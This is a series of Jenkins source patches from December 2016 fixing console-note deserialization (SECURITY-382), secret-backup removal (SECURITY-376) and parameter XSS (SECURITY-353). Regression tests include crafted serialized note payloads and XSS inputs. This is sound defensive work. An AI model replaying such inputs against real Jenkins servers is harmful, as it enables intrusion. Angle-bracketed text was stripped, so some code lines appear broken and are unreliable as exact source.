                                        • Remoting 3.3: Agent JAR cache corruption was causing malfunctioning of agents. (issue 39547) -- GitLab From a655611f76645a74e719e8ae6fdfb77605b8ed65 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Mon, 19 Dec 2016 13:34:08 +0100 Subject: [PATCH 613/811] Remove polish trnaslation that sneaked into english one --- .../PluginWrapperAdministrativeMonitor/message.properties | 1 - 1 file changed, 1 deletion(-) diff --git a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties index 141be170a2..cbad3bfe78 100644 --- a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties @@ -19,5 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Correct=Napraw Dependency\ errors=There are dependency errors loading some plugins -- GitLab From c3af3becb794b196bbb5486fe22c6375d4f378f5 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 10:11:00 -0500 Subject: [PATCH 614/811] Making tests fail more meaningfully. --- .../main/java/jenkins/security/ConfidentialStore.java | 6 ++++-- core/src/test/java/hudson/model/TaskActionTest.java | 10 ++++++++-- .../java/jenkins/security/ConfidentialStoreRule.java | 7 ++----- .../test/java/hudson/console/ConsoleAnnotatorTest.java | 4 ++-- 4 files changed, 16 insertions(+), 11 deletions(-) diff --git a/core/src/main/java/jenkins/security/ConfidentialStore.java b/core/src/main/java/jenkins/security/ConfidentialStore.java index 9b3efdbec6..3e8e3b4b4d 100644 --- a/core/src/main/java/jenkins/security/ConfidentialStore.java +++ b/core/src/main/java/jenkins/security/ConfidentialStore.java @@ -61,7 +61,9 @@ public abstract class ConfidentialStore { * Retrieves the currently active singleton instance of {@link ConfidentialStore}. */ public static @Nonnull ConfidentialStore get() { - if (TEST!=null) return TEST.get(); + if (TEST != null) { + return TEST; + } Jenkins j = Jenkins.getInstance(); if (j == null) { @@ -95,7 +97,7 @@ public abstract class ConfidentialStore { /** * Testing only. Used for testing {@link ConfidentialKey} without {@link Jenkins} */ - /*package*/ static ThreadLocal TEST = null; + /*package*/ static ConfidentialStore TEST = null; private static final Logger LOGGER = Logger.getLogger(ConfidentialStore.class.getName()); } diff --git a/core/src/test/java/hudson/model/TaskActionTest.java b/core/src/test/java/hudson/model/TaskActionTest.java index ec31498e07..8b86e0ca93 100644 --- a/core/src/test/java/hudson/model/TaskActionTest.java +++ b/core/src/test/java/hudson/model/TaskActionTest.java @@ -1,13 +1,16 @@ package hudson.model; -import static org.junit.Assert.assertTrue; +import static org.junit.Assert.*; import java.io.ByteArrayOutputStream; import hudson.console.AnnotatedLargeText; import hudson.security.ACL; import hudson.security.Permission; +import jenkins.security.ConfidentialStoreRule; import org.acegisecurity.Authentication; +import static org.hamcrest.CoreMatchers.startsWith; +import org.junit.Rule; import org.junit.Test; /** @@ -15,6 +18,9 @@ import org.junit.Test; */ public class TaskActionTest { + @Rule + public ConfidentialStoreRule confidentialStoreRule = new ConfidentialStoreRule(); + private static class MyTaskThread extends TaskThread { MyTaskThread(TaskAction taskAction) { super(taskAction, ListenerAndText.forMemory(taskAction)); @@ -63,6 +69,6 @@ public class TaskActionTest { } ByteArrayOutputStream os = new ByteArrayOutputStream(); annotatedText.writeLogTo(0, os); - assertTrue(os.toString("UTF-8").startsWith("a linkCompleted")); + assertThat(os.toString("UTF-8"), startsWith("a linkCompleted")); } } diff --git a/core/src/test/java/jenkins/security/ConfidentialStoreRule.java b/core/src/test/java/jenkins/security/ConfidentialStoreRule.java index db46255ba6..c42c8e6b7b 100644 --- a/core/src/test/java/jenkins/security/ConfidentialStoreRule.java +++ b/core/src/test/java/jenkins/security/ConfidentialStoreRule.java @@ -14,16 +14,13 @@ public class ConfidentialStoreRule extends ExternalResource { @Override protected void before() throws Throwable { tmp.create(); - ConfidentialStore.TEST.set(new DefaultConfidentialStore(tmp.getRoot())); + ConfidentialStore.TEST = new DefaultConfidentialStore(tmp.getRoot()); } @Override protected void after() { - ConfidentialStore.TEST.set(null); + ConfidentialStore.TEST = null; tmp.delete(); } - static { - ConfidentialStore.TEST = new ThreadLocal(); - } } diff --git a/test/src/test/java/hudson/console/ConsoleAnnotatorTest.java b/test/src/test/java/hudson/console/ConsoleAnnotatorTest.java index 83827f4860..03de67226c 100644 --- a/test/src/test/java/hudson/console/ConsoleAnnotatorTest.java +++ b/test/src/test/java/hudson/console/ConsoleAnnotatorTest.java @@ -27,6 +27,7 @@ import java.net.URL; import java.util.HashMap; import java.util.Map; import java.util.concurrent.Future; +import static org.hamcrest.Matchers.containsString; import static org.junit.Assert.*; import org.junit.Rule; import org.junit.Test; @@ -117,8 +118,7 @@ public class ConsoleAnnotatorTest { // make sure raw console output doesn't include the garbage TextPage raw = (TextPage)r.createWebClient().goTo(b.getUrl()+"consoleText","text/plain"); - System.out.println(raw.getContent()); - assertTrue(raw.getContent().contains("\nabc\ndef\n")); + assertThat(raw.getContent(), containsString("\nabc\ndef\n")); } -- GitLab From be28bbd9556fea74fdd1b6494e67aff46e6c33ac Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 10:26:25 -0500 Subject: [PATCH 615/811] Existing tests caught some mistakes. --- .../main/java/hudson/console/ConsoleNote.java | 34 +++++++++++++------ 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 3e8767ad22..46a02a4f56 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -222,23 +222,30 @@ public abstract class ConsoleNote implements Serializable, Describable 0) { // new format + mac = new byte[macSz]; + decoded.readFully(mac); + sz = decoded.readInt(); + } else { + mac = null; + sz = - macSz; } - byte[] mac = new byte[macSz]; - decoded.readFully(mac); - int sz = decoded.readInt(); byte[] buf = new byte[sz]; decoded.readFully(buf); - if (!MAC.checkMac(buf, mac)) { - throw new IOException("MAC mismatch"); - } byte[] postamble = new byte[POSTAMBLE.length]; in.readFully(postamble); if (!Arrays.equals(postamble,POSTAMBLE)) return null; // not a valid postamble + if (mac == null) { + throw new IOException("Refusing to deserialize unsigned note from an old log."); + } else if (!MAC.checkMac(buf, mac)) { + throw new IOException("MAC mismatch"); + } + ObjectInputStream ois = new ObjectInputStreamEx( new GZIPInputStream(new ByteArrayInputStream(buf)), Jenkins.getInstance().pluginManager.uberClassLoader); try { @@ -263,8 +270,15 @@ public abstract class ConsoleNote implements Serializable, Describable 0) { // new format + IOUtils.skip(decoded, macSz); + int sz = decoded.readInt(); + IOUtils.skip(decoded, sz); + } else { // old format + int sz = -macSz; + IOUtils.skip(decoded, sz); + } byte[] postamble = new byte[POSTAMBLE.length]; in.readFully(postamble); -- GitLab From 2d7e0d96b03ff4aeba4a27bc1dec1355c59fe91c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 10:34:02 -0500 Subject: [PATCH 616/811] Deleting claimed ability in Javadoc which is no longer supportable. --- core/src/main/java/hudson/console/ConsoleNote.java | 2 -- 1 file changed, 2 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 46a02a4f56..1e9b411e98 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -95,8 +95,6 @@ import jenkins.security.HMACConfidentialKey; * {@link ConsoleNote} always sticks to a particular point in the console output. * *

                                          - * This design allows descendant processes of Hudson to emit {@link ConsoleNote}s. For example, Ant forked - * by a shell forked by Hudson can put an encoded note in its stdout, and Hudson will correctly understands that. * The preamble and postamble includes a certain ANSI escape sequence designed in such a way to minimize garbage * if this output is observed by a human being directly. * -- GitLab From 0e3f66f583d1b948b13136045391bafa46c2bda3 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 11:24:12 -0500 Subject: [PATCH 617/811] Added test coverage for various ConsoleNote deserialization scenarios. --- .../main/java/hudson/console/ConsoleNote.java | 10 +- .../console/AnnotatedLargeTextTest.java | 116 ++++++++++++++++++ 2 files changed, 121 insertions(+), 5 deletions(-) create mode 100644 core/src/test/java/hudson/console/AnnotatedLargeTextTest.java diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 1e9b411e98..4c3785c95a 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -51,6 +51,7 @@ import java.util.Collection; import java.util.List; import com.jcraft.jzlib.GZIPInputStream; import com.jcraft.jzlib.GZIPOutputStream; +import hudson.remoting.ClassFilter; import jenkins.security.HMACConfidentialKey; /** @@ -244,12 +245,11 @@ public abstract class ConsoleNote implements Serializable, Describable text = new AnnotatedLargeText<>(buf, Charsets.UTF_8, true, null); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + text.writeLogTo(0, baos); + assertEquals("Some text.\nGo back to your home.\nMore text.\n", baos.toString()); + StringWriter w = new StringWriter(); + text.writeHtmlTo(0, w); + assertEquals("Some text.\nGo back to your home.\nMore text.\n", w.toString()); + } + + @Issue("SECURITY-382") + @Test + public void oldDeserialization() throws Exception { + ByteBuffer buf = new ByteBuffer(); + buf.write(("hello" + ConsoleNote.PREAMBLE_STR + "AAAAwR+LCAAAAAAAAP9dzLEOwVAUxvHThtiNprYxsGiMQhiwNSIhMR/tSZXr3Lr3oJPwPt7FM5hM3gFh8i3/5Bt+1yeUrYH6ap9Yza1Ys9WKWuMiR05wqWhEgpmyEy306Jxvwb19ccGNoBJjLplmgWq0xgOGCjkNZ2IyTrsRlFayVTs4gVMYqP3pw28/JnznuABF/rYWyIyeJfLQe1vxZiDQ7NnYZLn0UZGRRjA9MiV+0OyFv3+utadQyH8B+aJxVM4AAAA=" + ConsoleNote.POSTAMBLE_STR + "there\n").getBytes()); + AnnotatedLargeText text = new AnnotatedLargeText<>(buf, Charsets.UTF_8, true, null); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + text.writeLogTo(0, baos); + assertEquals("hellothere\n", baos.toString()); + StringWriter w = new StringWriter(); + text.writeHtmlTo(0, w); + assertEquals("hellothere\n", w.toString()); + // TODO expect log record with message "Failed to resurrect annotation" and IOException with message "Refusing to deserialize unsigned note from an old log." + } + + @Issue("SECURITY-382") + @Test + public void badMac() throws Exception { + ByteBuffer buf = new ByteBuffer(); + buf.write(("Go back to " + ConsoleNote.PREAMBLE_STR + "////4ByIhqPpAc43AbrEtyDUDc1/UEOXsoY6LeoHSeSlb1d7AAAAlR+LCAAAAAAAAP9b85aBtbiIQS+jNKU4P08vOT+vOD8nVc8xLy+/JLEkNcUnsSg9NSS1oiQktbhEBUT45ZekCpys9xWo8J3KxMDkycCWk5qXXpLhw8BcWpRTwiDkk5VYlqifk5iXrh9cUpSZl25dUcQghWaBM4QGGcYAAYxMDAwVBUAGZwkDq35Rfn4JABmN28qcAAAA" + ConsoleNote.POSTAMBLE_STR + "your home.\n").getBytes()); + AnnotatedLargeText text = new AnnotatedLargeText<>(buf, Charsets.UTF_8, true, null); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + text.writeLogTo(0, baos); + assertEquals("Go back to your home.\n", baos.toString()); + StringWriter w = new StringWriter(); + text.writeHtmlTo(0, w); + assertEquals("Go back to your home.\n", w.toString()); + // TODO expect log record with message "Failed to resurrect annotation" and IOException with message "MAC mismatch" + } + + /** Simplified version of {@link HyperlinkNote}. */ + static class TestNote extends ConsoleNote { + private final String url; + private final int length; + TestNote(String url, int length) { + this.url = url; + this.length = length; + } + @Override + public ConsoleAnnotator annotate(Void context, MarkupText text, int charPos) { + text.addMarkup(charPos, charPos + length, "", ""); + return null; + } + static String encodeTo(String url, String text) throws IOException { + return new TestNote(url, text.length()).encode() + text; + } + } + +} -- GitLab From 5d981855f1309e0cfa4d74ac8bb21327e98789b0 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 20:18:14 -0500 Subject: [PATCH 618/811] Correctly compute plugin name when multiple sources are passed. --- .../java/hudson/cli/InstallPluginCommand.java | 38 +++++++++++-------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/core/src/main/java/hudson/cli/InstallPluginCommand.java b/core/src/main/java/hudson/cli/InstallPluginCommand.java index 21484e05bf..c21a96628d 100644 --- a/core/src/main/java/hudson/cli/InstallPluginCommand.java +++ b/core/src/main/java/hudson/cli/InstallPluginCommand.java @@ -75,17 +75,20 @@ public class InstallPluginCommand extends CLICommand { h.checkPermission(PluginManager.UPLOAD_PLUGINS); PluginManager pm = h.getPluginManager(); + if (sources.size() > 1 && name != null) { + throw new IllegalArgumentException("-name is incompatible with multiple sources"); + } + for (String source : sources) { // is this a file? if (channel!=null) { FilePath f = new FilePath(channel, source); if (f.exists()) { stdout.println(Messages.InstallPluginCommand_InstallingPluginFromLocalFile(f)); - if (name==null) - name = f.getBaseName(); - f.copyTo(getTargetFilePath()); + String n = name != null ? name : f.getBaseName(); + f.copyTo(getTargetFilePath(n)); if (dynamicLoad) - pm.dynamicLoad(getTargetFile()); + pm.dynamicLoad(getTargetFile(n)); continue; } } @@ -94,16 +97,21 @@ public class InstallPluginCommand extends CLICommand { try { URL u = new URL(source); stdout.println(Messages.InstallPluginCommand_InstallingPluginFromUrl(u)); - if (name==null) { - name = u.getPath(); - name = name.substring(name.lastIndexOf('/')+1); - name = name.substring(name.lastIndexOf('\\')+1); - int idx = name.lastIndexOf('.'); - if (idx>0) name = name.substring(0,idx); + String n; + if (name != null) { + n = name; + } else { + n = u.getPath(); + n = n.substring(n.lastIndexOf('/') + 1); + n = n.substring(n.lastIndexOf('\\') + 1); + int idx = n.lastIndexOf('.'); + if (idx > 0) { + n = n.substring(0, idx); + } } - getTargetFilePath().copyFrom(u); + getTargetFilePath(n).copyFrom(u); if (dynamicLoad) - pm.dynamicLoad(getTargetFile()); + pm.dynamicLoad(getTargetFile(n)); continue; } catch (MalformedURLException e) { // not an URL @@ -149,11 +157,11 @@ public class InstallPluginCommand extends CLICommand { return 0; // all success } - private FilePath getTargetFilePath() { - return new FilePath(getTargetFile()); + private static FilePath getTargetFilePath(String name) { + return new FilePath(getTargetFile(name)); } - private File getTargetFile() { + private static File getTargetFile(String name) { return new File(Jenkins.getActiveInstance().getPluginManager().rootDir,name+".jpi"); } } -- GitLab From a572450f039fdb99410fcf6eb0ba307bd69ea458 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 16:21:38 -0500 Subject: [PATCH 619/811] [SECURITY-376] Remove backup directory for RekeySecretAdminMonitor. --- .../main/java/hudson/util/SecretRewriter.java | 38 ++++++++----------- .../security/RekeySecretAdminMonitor.java | 5 ++- .../hudson/util/SecretRewriterTest.groovy | 4 +- 3 files changed, 20 insertions(+), 27 deletions(-) diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 37dc9fb2ed..6350adf0f3 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -2,7 +2,6 @@ package hudson.util; import com.trilead.ssh2.crypto.Base64; import hudson.model.TaskListener; -import org.apache.commons.io.FileUtils; import javax.crypto.Cipher; import javax.crypto.SecretKey; @@ -33,21 +32,21 @@ public class SecretRewriter { */ private int count; - /** - * If non-null the original file before rewrite gets in here. - */ - private final File backupDirectory; - /** * Canonical paths of the directories we are recursing to protect * against symlink induced cycles. */ private Set callstack = new HashSet(); - public SecretRewriter(File backupDirectory) throws GeneralSecurityException { + public SecretRewriter() throws GeneralSecurityException { cipher = Secret.getCipher("AES"); key = Secret.getLegacyKey(); - this.backupDirectory = backupDirectory; + } + + /** @deprecated SECURITY-376: {@code backupDirectory} is ignored */ + @Deprecated + public SecretRewriter(File backupDirectory) throws GeneralSecurityException { + this(); } private String tryRewrite(String s) throws IOException, InvalidKeyException { @@ -70,12 +69,14 @@ public class SecretRewriter { return s; } - /** - * @param backup - * if non-null, the original file will be copied here before rewriting. - * if the rewrite doesn't happen, no copying. - */ + /** @deprecated SECURITY-376: {@code backup} is ignored */ + @Deprecated public boolean rewrite(File f, File backup) throws InvalidKeyException, IOException { + return rewrite(f); + } + + public boolean rewrite(File f) throws InvalidKeyException, IOException { + AtomicFileWriter w = new AtomicFileWriter(f, "UTF-8"); try { PrintWriter out = new PrintWriter(new BufferedWriter(w)); @@ -117,10 +118,6 @@ public class SecretRewriter { } if (modified) { - if (backup!=null) { - backup.getParentFile().mkdirs(); - FileUtils.copyFile(f,backup); - } w.commit(); } return modified; @@ -165,11 +162,7 @@ public class SecretRewriter { if ((count++)%100==0) listener.getLogger().println("Scanning "+child); try { - File backup = null; - if (backupDirectory!=null) backup = new File(backupDirectory,relative+'/'+ cn); - if (rewrite(child,backup)) { - if (backup!=null) - listener.getLogger().println("Copied "+child+" to "+backup+" as a backup"); + if (rewrite(child)) { listener.getLogger().println("Rewritten "+child); rewritten++; } @@ -199,7 +192,6 @@ public class SecretRewriter { String n = dir.getName(); return n.equals("workspace") || n.equals("artifacts") || n.equals("plugins") // no mutable data here - || n.equals("jenkins.security.RekeySecretAdminMonitor") // we don't want to rewrite backups || n.equals(".") || n.equals(".."); } diff --git a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java index bf5d361060..3fe47c80f5 100644 --- a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java +++ b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java @@ -1,6 +1,7 @@ package jenkins.security; import hudson.Extension; +import hudson.Util; import hudson.init.InitMilestone; import hudson.init.Initializer; import hudson.model.TaskListener; @@ -50,6 +51,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor { */ private final FileBoolean scanOnBoot = state("scanOnBoot"); + @SuppressWarnings("OverridableMethodCallInConstructor") // should have been final public RekeySecretAdminMonitor() throws IOException { // if JENKINS_HOME existed <1.497, we need to offer rewrite // this computation needs to be done and the value be captured, @@ -59,6 +61,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor { if (j.isUpgradedFromBefore(new VersionNumber("1.496.*")) && new FileBoolean(new File(j.getRootDir(),"secret.key.not-so-secret")).isOff()) needed.on(); + Util.deleteRecursive(new File(getBaseDir(), "backups")); // SECURITY-376: no longer used } @Override @@ -133,7 +136,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor { protected void fix(TaskListener listener) throws Exception { LOGGER.info("Initiating a re-keying of secrets. See "+getLogFile()); - SecretRewriter rewriter = new SecretRewriter(new File(getBaseDir(),"backups")); + SecretRewriter rewriter = new SecretRewriter(); try { PrintStream log = listener.getLogger(); diff --git a/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy b/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy index 9285f0bcdd..f198bdd8a3 100644 --- a/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy +++ b/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy @@ -70,8 +70,7 @@ class SecretRewriterTest { */ @Test void recursionDetection() { - def backup = tmp.newFolder("backup") - def sw = new SecretRewriter(backup); + def sw = new SecretRewriter(); def st = StreamTaskListener.fromStdout() def o = encryptOld("Hello world") @@ -101,7 +100,6 @@ class SecretRewriterTest { dirs.each { p-> assert new File(t,"$p/foo.xml").text.trim()==answer - assert new File(backup,"$p/foo.xml").text.trim()==payload } // t2 is only reachable by following a symlink. this should be covered, too -- GitLab From 336751615c5603d8fa2d997d76c923854e2315cf Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 17:04:10 -0500 Subject: [PATCH 620/811] [SECURITY-353] Reproduced problem in test. --- .../java/hudson/model/ParametersTest.java | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/test/src/test/java/hudson/model/ParametersTest.java b/test/src/test/java/hudson/model/ParametersTest.java index 9f525a420c..4c837afa97 100644 --- a/test/src/test/java/hudson/model/ParametersTest.java +++ b/test/src/test/java/hudson/model/ParametersTest.java @@ -4,9 +4,12 @@ import static org.junit.Assert.*; import com.gargoylesoftware.htmlunit.html.DomNodeUtil; import com.gargoylesoftware.htmlunit.html.HtmlFormUtil; +import static org.hamcrest.Matchers.*; import org.junit.Rule; import org.junit.Test; +import org.junit.rules.ErrorCollector; +import org.apache.http.HttpStatus; import com.gargoylesoftware.htmlunit.html.HtmlPage; import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.html.HtmlElement; @@ -19,6 +22,7 @@ import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.JenkinsRule.WebClient; import java.util.Set; +import org.junit.Ignore; /** * @author huybrechts @@ -28,6 +32,9 @@ public class ParametersTest { @Rule public JenkinsRule j = new JenkinsRule(); + @Rule + public ErrorCollector collector = new ErrorCollector(); + @Test public void parameterTypes() throws Exception { FreeStyleProject otherProject = j.createFreeStyleProject(); @@ -216,4 +223,38 @@ public class ParametersTest { final HtmlForm form = page.getFormByName("parameters"); HtmlFormUtil.submit(form, HtmlFormUtil.getButtonByCaption(form, "Build")); } + + @Ignore("TODO fix") + @Issue("SECURITY-353") + @Test + public void xss() throws Exception { + FreeStyleProject p = j.createFreeStyleProject("p"); + p.addProperty(new ParametersDefinitionProperty(new StringParameterDefinition("", "", ""))); + WebClient wc = j.createWebClient(); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); + HtmlPage page = wc.getPage(p, "build?delay=0sec"); + collector.checkThat(page.getWebResponse().getStatusCode(), is(HttpStatus.SC_METHOD_NOT_ALLOWED)); // 405 to dissuade scripts from thinking this triggered the build + String text = page.getWebResponse().getContentAsString(); + collector.checkThat(text, containsString("<param name>")); + collector.checkThat(text, not(containsString(""))); + collector.checkThat(text, containsString("<param default>")); + collector.checkThat(text, not(containsString(""))); + collector.checkThat(text, containsString("<param description>")); + collector.checkThat(text, not(containsString(""))); + HtmlForm form = page.getFormByName("parameters"); + HtmlTextInput value = form.getInputByValue(""); + value.setText(""); + j.submit(form); + j.waitUntilNoActivity(); + FreeStyleBuild b = p.getBuildByNumber(1); + page = j.createWebClient().getPage(b, "parameters/"); + text = page.getWebResponse().getContentAsString(); + collector.checkThat(text, containsString("<param name>")); + collector.checkThat(text, not(containsString(""))); + collector.checkThat(text, containsString("<param value>")); + collector.checkThat(text, not(containsString(""))); + collector.checkThat(text, containsString("<param description>")); + collector.checkThat(text, not(containsString(""))); + } + } -- GitLab From c8aa949ff5405e86cc4b65860ff7d04579966480 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 17:04:20 -0500 Subject: [PATCH 621/811] Noting need for escapes. --- core/src/main/resources/lib/form/entry.jelly | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/core/src/main/resources/lib/form/entry.jelly b/core/src/main/resources/lib/form/entry.jelly index 78e80aaf0c..1642dae3b5 100644 --- a/core/src/main/resources/lib/form/entry.jelly +++ b/core/src/main/resources/lib/form/entry.jelly @@ -32,6 +32,8 @@ THE SOFTWARE. Name of the entry. Think of this like a label for the control. + + This content is HTML. Use h.escape if necessary. Used for the databinding. TBD. When this attribute @@ -46,6 +48,8 @@ THE SOFTWARE. This text shouldn't get too long, and in recent Hudson, this feature is somewhat de-emphasized, in favor of the inline foldable help page specified via @help. + + This content is HTML. Use h.escape if necessary. URL to the HTML page. When this attribute is specified, the entry gets -- GitLab From 2e8837527d82899f719fd9b963667f9e2ecb7035 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 17:17:59 -0500 Subject: [PATCH 622/811] We also expect descriptions to be formatted, not merely escaped. --- .../java/hudson/model/ParametersTest.java | 71 ++++++++++++------- 1 file changed, 44 insertions(+), 27 deletions(-) diff --git a/test/src/test/java/hudson/model/ParametersTest.java b/test/src/test/java/hudson/model/ParametersTest.java index 4c837afa97..eb8090d6f6 100644 --- a/test/src/test/java/hudson/model/ParametersTest.java +++ b/test/src/test/java/hudson/model/ParametersTest.java @@ -1,29 +1,31 @@ package hudson.model; -import static org.junit.Assert.*; - import com.gargoylesoftware.htmlunit.html.DomNodeUtil; +import com.gargoylesoftware.htmlunit.html.HtmlCheckBoxInput; +import com.gargoylesoftware.htmlunit.html.HtmlElement; +import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.html.HtmlFormUtil; +import com.gargoylesoftware.htmlunit.html.HtmlOption; +import com.gargoylesoftware.htmlunit.html.HtmlPage; +import com.gargoylesoftware.htmlunit.html.HtmlTextInput; +import hudson.markup.MarkupFormatter; +import java.io.IOException; +import java.io.Writer; +import java.util.Set; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import org.apache.http.HttpStatus; import static org.hamcrest.Matchers.*; +import static org.junit.Assert.*; +import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; import org.junit.rules.ErrorCollector; - -import org.apache.http.HttpStatus; -import com.gargoylesoftware.htmlunit.html.HtmlPage; -import com.gargoylesoftware.htmlunit.html.HtmlForm; -import com.gargoylesoftware.htmlunit.html.HtmlElement; -import com.gargoylesoftware.htmlunit.html.HtmlTextInput; -import com.gargoylesoftware.htmlunit.html.HtmlCheckBoxInput; -import com.gargoylesoftware.htmlunit.html.HtmlOption; import org.jvnet.hudson.test.CaptureEnvironmentBuilder; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.JenkinsRule.WebClient; -import java.util.Set; -import org.junit.Ignore; - /** * @author huybrechts */ @@ -224,23 +226,26 @@ public class ParametersTest { HtmlFormUtil.submit(form, HtmlFormUtil.getButtonByCaption(form, "Build")); } - @Ignore("TODO fix") + @Ignore("TODO build page should not leave param name unescaped; parameters page should escape param name; parameters page should not leave param name unescaped; parameters page should mark up param description; parameters page should not leave param description unescaped") @Issue("SECURITY-353") @Test public void xss() throws Exception { + j.jenkins.setMarkupFormatter(new MyMarkupFormatter()); FreeStyleProject p = j.createFreeStyleProject("p"); - p.addProperty(new ParametersDefinitionProperty(new StringParameterDefinition("", "", ""))); + StringParameterDefinition param = new StringParameterDefinition("", "", ""); + assertEquals("[param description]", param.getFormattedDescription()); + p.addProperty(new ParametersDefinitionProperty(param)); WebClient wc = j.createWebClient(); wc.getOptions().setThrowExceptionOnFailingStatusCode(false); HtmlPage page = wc.getPage(p, "build?delay=0sec"); collector.checkThat(page.getWebResponse().getStatusCode(), is(HttpStatus.SC_METHOD_NOT_ALLOWED)); // 405 to dissuade scripts from thinking this triggered the build String text = page.getWebResponse().getContentAsString(); - collector.checkThat(text, containsString("<param name>")); - collector.checkThat(text, not(containsString(""))); - collector.checkThat(text, containsString("<param default>")); - collector.checkThat(text, not(containsString(""))); - collector.checkThat(text, containsString("<param description>")); - collector.checkThat(text, not(containsString(""))); + collector.checkThat("build page should escape param name", text, containsString("<param name>")); + collector.checkThat("build page should not leave param name unescaped", text, not(containsString(""))); + collector.checkThat("build page should escape param default", text, containsString("<param default>")); + collector.checkThat("build page should not leave param default unescaped", text, not(containsString(""))); + collector.checkThat("build page should mark up param description", text, containsString("[param description]")); + collector.checkThat("build page should not leave param description unescaped", text, not(containsString(""))); HtmlForm form = page.getFormByName("parameters"); HtmlTextInput value = form.getInputByValue(""); value.setText(""); @@ -249,12 +254,24 @@ public class ParametersTest { FreeStyleBuild b = p.getBuildByNumber(1); page = j.createWebClient().getPage(b, "parameters/"); text = page.getWebResponse().getContentAsString(); - collector.checkThat(text, containsString("<param name>")); - collector.checkThat(text, not(containsString(""))); - collector.checkThat(text, containsString("<param value>")); - collector.checkThat(text, not(containsString(""))); - collector.checkThat(text, containsString("<param description>")); - collector.checkThat(text, not(containsString(""))); + collector.checkThat("parameters page should escape param name", text, containsString("<param name>")); + collector.checkThat("parameters page should not leave param name unescaped", text, not(containsString(""))); + collector.checkThat("parameters page should escape param value", text, containsString("<param value>")); + collector.checkThat("parameters page should not leave param value unescaped", text, not(containsString(""))); + collector.checkThat("parameters page should mark up param description", text, containsString("[param description]")); + collector.checkThat("parameters page should not leave param description unescaped", text, not(containsString(""))); + } + static class MyMarkupFormatter extends MarkupFormatter { + @Override + public void translate(String markup, Writer output) throws IOException { + Matcher m = Pattern.compile("[<>]").matcher(markup); + StringBuffer buf = new StringBuffer(); + while (m.find()) { + m.appendReplacement(buf, m.group().equals("<") ? "[" : "]"); + } + m.appendTail(buf); + output.write(buf.toString()); + } } } -- GitLab From b561ca5696f12d8e017f79cc2080c394c6710719 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 17:49:16 -0500 Subject: [PATCH 623/811] [SECURITY-353] Solved XSS, at the cost of markup formatters. --- .../main/resources/hudson/model/ParametersAction/index.jelly | 1 + .../hudson/model/ParametersDefinitionProperty/index.jelly | 1 + core/src/main/resources/lib/form/entry.jelly | 4 ++-- test/src/test/java/hudson/model/ParametersTest.java | 2 +- 4 files changed, 5 insertions(+), 3 deletions(-) diff --git a/core/src/main/resources/hudson/model/ParametersAction/index.jelly b/core/src/main/resources/hudson/model/ParametersAction/index.jelly index 2c25579adc..d5c4ca771c 100644 --- 